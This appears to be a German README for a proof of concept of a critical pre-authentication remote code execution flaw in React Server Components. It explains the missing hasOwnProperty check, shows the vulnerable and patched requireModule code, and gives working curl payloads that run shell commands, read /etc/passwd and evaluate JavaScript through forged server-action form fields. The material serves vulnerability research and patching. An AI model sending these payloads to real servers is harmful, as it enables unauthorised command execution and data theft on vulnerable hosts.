
ein realistischer POC, der die fehlende `hasOwnProperty`-Prüfung in [email protected] demonstriert
Ein minimaler Proof of Concept, der die kritische Remote-Code-Ausführungs-Sicherheitslücke in [email protected] demonstriert.
Eine Pre-Authentication-RCE-Sicherheitslücke in React Server Components, die es Angreifern ermöglicht, auf Servern, die das anfällige react-server-dom-webpack-Paket (Versionen 19.0.0 - 19.2.0) verwenden, beliebigen Code auszuführen.
CVSS-Score: 10 (Kritisch)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnProperty-PrüfungDie Sicherheitslücke existiert in der requireModule-Funktion innerhalb der Flight-Protocol-Implementierung von React. Diese Funktion lädt Modulexporte basierend auf Metadaten, die von Client-Anfragen empfangen werden.
Anfälliger Code ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- No validation!
}
Das Problem: metadata[NAME] stammt von Benutzereingaben (der HTTP-Anfrage). Ein Angreifer kann jedes beliebige Modul und jeden Exportnamen angeben, wie child_process#execSync.
Behobener Code ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// FIXED: Validate that the export actually exists
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
Der Fix fügt hasOwnProperty.call() hinzu, um sicherzustellen, dass der angeforderte Export eine eigene Eigenschaft des Moduls ist und nicht von der Prototyp-Kette geerbt oder dynamisch zu gefährlichen Modulen auflösbar ist.
$ACTION_REF_0 und $ACTION_0:0$ACTION_0:0 enthält {"id":"child_process#execSync","bound":["whoami"]}decodeAction parst dies und ruft requireModule mit vom Angreifer kontrollierten Metadaten aufrequireModule gibt require('child_process').execSync zurückcd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
Erwartete Ausgabe:
{"success":true,"result":"your-username\n"}
# Dateien lesen
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# JavaScript ausführen
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeAction-AblaufHTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Parses $ACTION_REF_0 to find action reference │
│ - Parses $ACTION_0:0 to get {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (attacker controlled) │
│ - bound = ["whoami"] (attacker controlled) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Splits "child_process#execSync" into: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNERABLE] │
│ - Loads require("child_process") │
│ - Returns moduleExports["execSync"] │
│ - NO VALIDATION that "execSync" should be accessible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EXECUTES "whoami" ON SERVER │
└─────────────────────────────────────────────────────────────┘
MIT